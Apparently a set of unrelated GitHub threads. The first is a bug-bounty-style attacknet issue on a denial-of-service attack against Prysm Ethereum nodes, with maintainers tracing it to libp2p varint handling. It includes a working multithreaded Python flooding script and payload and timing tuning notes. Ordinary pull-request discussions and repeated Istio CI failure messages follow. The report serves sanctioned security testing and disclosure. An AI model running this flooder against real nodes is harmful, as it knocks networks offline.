[prysm-attack-0 Issue] DoS Attack on Prysm Stops Finality

Description
Prysm nodes are vulnerable to a DoS attack that prevents them from participating in consensus.
Attack scenario
Three out of four Prsym nodes were targeted by 2 AWS t2.small machines with a sustained DoS attack.
Impact
The effect that the DoS attack had on the attacknet was a prolonged loss finality; however, the network was able to recover to a healthy state within a few epochs once the attack stopped.  The nodes under attack demonstrated high CPU usage, a large amount of outbound traffic, trouble finding peers in subnets and one node's local clock had a time disparity causing issues importing blocks.
Details
Attack Procedure
This is the code that the two machines ran to prevent finality on the attacknet
#!/usr/bin/python3
import threading
import socket
import time
import sys

def worker(id,ip,port):
    while True:
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((ip,port))
      print("Worker {} connected".format(id))
      packet = bytes([255]*65536)
      sock.send(packet)
      time.sleep(20)
      sock.close()

if __name__ == "__main__":
    ip=sys.argv[1]
    port=int(sys.argv[2])
    num_threads=int(sys.argv[3])

    threads = []
    for i in range(num_threads):
        thread = threading.Thread(target=worker, args=(i,ip,port))
        threads.append(thread)
        thread.start()

The code is run as follows:
./prysm_attack.sh [IP] [PORT] [NUM_THREADS]

Here is some sample output from the attack run:
$ ./prysm_attack.sh  <IP_ADDRESS> 9000 500
Worker 0 connected
Worker 1 connected
Worker 2 connected
Worker 3 connected
Worker 4 connected
Worker 5 connected
Worker 6 connected
Worker 7 connected
Worker 8 connected
Worker 9 connected
Worker 10 connected
...
Worker 499 connected

To execute the attack, I targeted the following IP addresses with three processes - two processes on one machine and one process on the other.
<IP_ADDRESS>
<IP_ADDRESS>
<IP_ADDRESS>

Each process spawned 500 threads that enter an infinite loop that perform the following steps:

connect to Prysm node
sends a ~65KB payload

Note: the attack definitely works with payloads xFF, xFE, but x00 causes Prysm to disconnect

sleep for 20 seconds.

Note: the amount of time to sleep acts as a ratelimiter and is somewhat arbitrary, but experimentally it was lower than the Prysm node's timeout I noticed when using netcat.

When developing this attack, the first thing I attempted to do was use the same command that crashed Teku.  Unfortunately, sending output from /dev/zero caused Prysm to immediately disconnect. Eventually, I found other payloads that would allow the connection to stay open (see above), but sending a large number of small packets (like I did to Teku) didn't seem as effective on Prysm.  I switched to Python so I could tune the ratio better and found that a smaller number of large packets was more effective against Prysm.

Keep in mind that the goal here was to just take down the network so the attack was designed using a symptomatic approach (i.e. trial and error) with little regard for root cause analysis.  That would have taken a lot more time to isolate runs, document them and compare performance to other clients.
One important thing to note is that this attack does NOT seem to be effective against Lighthouse.
Attack Log
The attack lasted from Epoch 1843 - 1864.  I should have stopped at Epoch 1860, but the Beacon Chain Explorer for the Prysm Attacknet became unresponsive 1 slot before Epoch 1860.  As a result, I had to start a local Prysm node to verify that the attack was successful.  By the time the node sync'd up, the Beacon Chain Explorer was back online and the attack lasted over 20 epochs.
Here are some screenshots from https://prysm-attack-0.beaconcha.in/ at the end of the attack:

Here is a screenshot of my local node showing that finality was prevented for more than 16 epochs:

Recovery
Prysm's recovery from the attack was interesting to watch.  Here are some screenshots from https://prysm-attack-0.beaconcha.in/ after the network recovered:

Here is a screenshot of my local node showing that Prysm recovered about 2 epochs after the attack ended:

Awesome report @jrhea. What is the significance of port 9000? This isn't a default port in Prysm so I'm wondering which part of the application was subject to this attack. Thanks!

Great work Jonny! I shared some max message sizes of libp2p components earlier, and you hit the limit of the noise max message size, (defined here. It appears like the limit is not strict enough, or maybe the data before the limit just needs be handled better. If you can test with different higher/lower numbers and share results, that would be great :pray:

Awesome report @jrhea. What is the significance of port 9000? This isn't a default port in Prysm so I'm wondering which part of the application was subject to this attack. Thanks!

Ya good question.  I establish a tcp connection with port 9000 and exploit the initial handshake with libp2p by sending it about ~65kb of junk.

This isn't a default port in Prysm so I'm wondering which part of the application was subject to this attack. Thanks!

@prestonvanloon We simply configured the port option on our side, nothing special there. We use it in the attacknet and our testnet nodes for every node, regardless of the client. Having consistent port numbers for metrics, http api, grpc, tcp, udp for every node makes firewalls and usage so much easier. Highly recommend it in a multi-client setup.

Great work Jonny! I shared some max message sizes of libp2p components earlier, and you hit the limit of the noise max message size, (defined here). It appears like the limit is not strict enough, or maybe the data before the limit just needs be handled better. If you can test with different higher/lower numbers and share results, that would be great 🙏

Yep can do.  I am fairly sure I kept trying successively larger powers of 2 and found that 65kb is the highest that doesn't terminate the connection immediately.  That being said, it was late and I was wild button pushing.  I am happy to investigate further and report back.

@prestonvanloon We simply configured the port option on our side, nothing special there. We use it in the attacknet and our testnet nodes for every node, regardless of the client. Having consistent port numbers for metrics, http api, grpc, tcp, udp for every node makes firewalls and usage so much easier. Highly recommend it in a multi-client setup.

OK, just to confirm, --p2p-tcp-port=9000?

I'm having trouble reproducing this locally.
Prysm
bazel run //beacon-chain -- --disable-initial-sync-verify-all-signatures --dev --altona --verbosity=debug --pprof --p2p-tcp-port=9000

Attack
/tmp/prysm_attack.sh <IP_ADDRESS> 9000 1

Exception in thread Thread-1:
Traceback (most recent call last):
  File "/usr/lib/python3.8/threading.py", line 932, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3.8/threading.py", line 870, in run
    self._target(*self._args, **self._kwargs)
  File "/tmp/prysm_attack.sh", line 10, in worker
    sock.connect((ip,port))
ConnectionRefusedError: [Errno 111] Connection refused

@prestonvanloon yep, we used these p2p options of prysm:
  --p2p-host-ip={{public_ip_address}}
  --p2p-max-peers=100
  --p2p-udp-port=9000
  --p2p-tcp-port=9000

Actually, I'm still having issues. When I try with 1 worker, sometimes it connects, when I try with 500, maybe 3 of those workers connect, but usually none of them connect.

pprof.beacon-chain.samples.cpu.012.pb.gz
It looks like this is either a misconfiguration of libp2p or a bug in libp2p itself.

Note that var-ints are read byte by byte. And since this is the first layer, it is probably not be buffered, causing all those syscalls. Varints should be 10 bytes at most, since they wouldn't even fit in a 64 bit uint otherwise. That's not too many byte reads. I think that's a usage-problem of the binary.varint reader, reading too many varint bytes. I'll check the go source code to see if it limits to 10 bytes or not. Maybe it's just the flamegraph that appears big.

Looks like binary.ReadUvarint doesn't protect you from harmful out-of-int64-bounds varints, if the contents are high enough: https://github.com/golang/go/blob/85afa2eb190d5d1a06584803bde4b4ee9b0e79b0/src/encoding/binary/varint.go#L114 :open_mouth:

Issue was identified, we'll take some care to disclose responsibly. Sorry for deleting the comment with more details. Happy to welcome it back once it's all good.


Added image loading errors handlers

Can you fix the tab spacing in the handleImageError method?

I added this support manually. Note that the "complete" should only fire when all images are loaded (or error out).  This is currently on GitHub and will be included in the next release.
Thanks for the PR!


fix interaction between hardware.printers.ensurePrinters and services.printing.stateless

ensurePrinters had failed to handle services.printing.stateless=true; and wouldn't rerun even when cups was restarted.
Description of changes
Use partOf to restart ensure-printers.service whenever cups.service is restarted.
Not able to test at the moment; but the effect of this change seems predictable.
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Apologies; I actually did read that bit but somehow did not realize I wasn't targeting the master branch.

@grahamcOfBorg test printing


Enabled Stylecop

Type of PR

[ ] Documentation changes
[x] Code changes
[ ] Test changes
[ ] CI-CD changes
[ ] GitHub Template changes

Purpose of PR

enabled stylecop for code style checking
resolved top issues - marked others as suggestions and will resolve in future PRs

Validation

[x] Unit tests updated and ran successfully
[x] Update documentation or issue referenced above

I tried building locally. Debug build is successful, but for Release, there are 4 whitespace related errors;
CSE.KeyVault/KeyVaultHelper.cs(113,1): error SA1028: Code should not contain trailing whitespace [/home/kushal/dev-office/helium-csharp/src/app/helium.csproj]
CSE.KeyVault/KeyVaultHelper.cs(154,43): error SA1028: Code should not contain trailing whitespace [/home/kushal/dev-office/helium-csharp/src/app/helium.csproj]
CSE.KeyVault/KeyVaultHelper.cs(161,26): error SA1513: Closing brace should be followed by blank line [/home/kushal/dev-office/helium-csharp/src/app/helium.csproj]
CSE.KeyVault/KeyVaultHelper.cs(154,25): error SA1000: The keyword 'if' should be followed by a space. [/home/kushal/dev-office/helium-csharp/src/app/helium.csproj]
    0 Warning(s)
    4 Error(s)


Add getting-started guides for local, docker, and k8s

I'd like for this to be a replacement for https://linkerd.io/doc/getting-started/.  (i.e. the Getting Started link on linkerd.io would link here)

⭐  🗼  regardless of gob folders, this getting started guide works for me


Make it go green

Not having the CircleCi test green on the existing builds and tests, because of lingering tests creates a risk of regression that is greater at this point than disabling the remaining tests to be addressed.
These tests have been disabled in /rpc/tendermint to make the CI go green:

[x] testHTTPGetAccount
[x] testHTTPBroadcastTx
[x] testHTTPGetStorage
[x] testHTTPCallCode
[x] testHTTPCallContract
[x] testHTTPNameReg
[x] testJSONGetStorage
[x] testJSONCallContract

and the tests in /event have a compilation problem that was introduced because CI has been red; which is the final drop to make this call:

[x] /event

Verified, all is back in order !


Switching to ADS

As we found out, EDS doesn't support batching, resulting in Cluster*Endpoints GRPC streams, which
doesn't scale. A bug was filled for envoy, but we shouldn't depend on it for 0.8
ADS supports batching EDS requests - and we were planning to use it anyways later.
The change requires bootstrap changes, since ADS doesn't seem to pass node info from flags.
Part of the change I refactored a bit LDS/CDS/EDS - to reuse the code, but I plan to remove the
old LDS/CDS/EDS GRPC interfaces soon after this PR is merged, we can't afford to maintain both
and we know EDS as is doesn't scale.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: mandarjog
Assign the PR to them by writing /assign @mandarjog in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@costinm: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
427e53a483baced9ac674e1ac0b85f464e7bfcb4
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
427e53a483baced9ac674e1ac0b85f464e7bfcb4
link
/test istio-presubmit

prow/istio-unit-tests.sh
427e53a483baced9ac674e1ac0b85f464e7bfcb4
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
ca6083086a56a47623ce77d6ed90dbf0a134fa67
link
/test istio-presubmit

prow/istio-unit-tests.sh
ca6083086a56a47623ce77d6ed90dbf0a134fa67
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
ca6083086a56a47623ce77d6ed90dbf0a134fa67
link
/test istio-unit-tests

prow/istio-presubmit.sh
d0a6e5e7a31a009ef795b65973e0fb078423073b
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
d0a6e5e7a31a009ef795b65973e0fb078423073b
link
/test istio-presubmit

prow/istio-unit-tests.sh
d0a6e5e7a31a009ef795b65973e0fb078423073b
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
d0a6e5e7a31a009ef795b65973e0fb078423073b
link
/test istio-presubmit

prow/istio-unit-tests.sh
248d6ac730bf4d83fdf1c882c721893bfc9bd846
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
248d6ac730bf4d83fdf1c882c721893bfc9bd846
link
/test istio-unit-tests

prow/istio-presubmit.sh
248d6ac730bf4d83fdf1c882c721893bfc9bd846
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
248d6ac730bf4d83fdf1c882c721893bfc9bd846
link
/test istio-presubmit

prow/istio-unit-tests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-simple

prow/istio-unit-tests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-simple

prow/istio-unit-tests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-simple

prow/istio-unit-tests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
04bfe1129c3c8a1bf816bbdf3ce02c8c54d44550
link
/test e2e-simple

prow/istio-unit-tests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-simple

prow/istio-unit-tests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-simple

prow/istio-unit-tests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-simple

prow/istio-unit-tests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
452be4bcbd374657e42851772734bd8432f56fdf
link
/test e2e-simple

prow/istio-unit-tests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-unit-tests

prow/e2e-bookInfoTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
d1b91b1a4dda091726db2809bce44777769e1015
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
9095336626d0de82c3c3c617410d51a5c34d4ea8
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e-v1alpha3

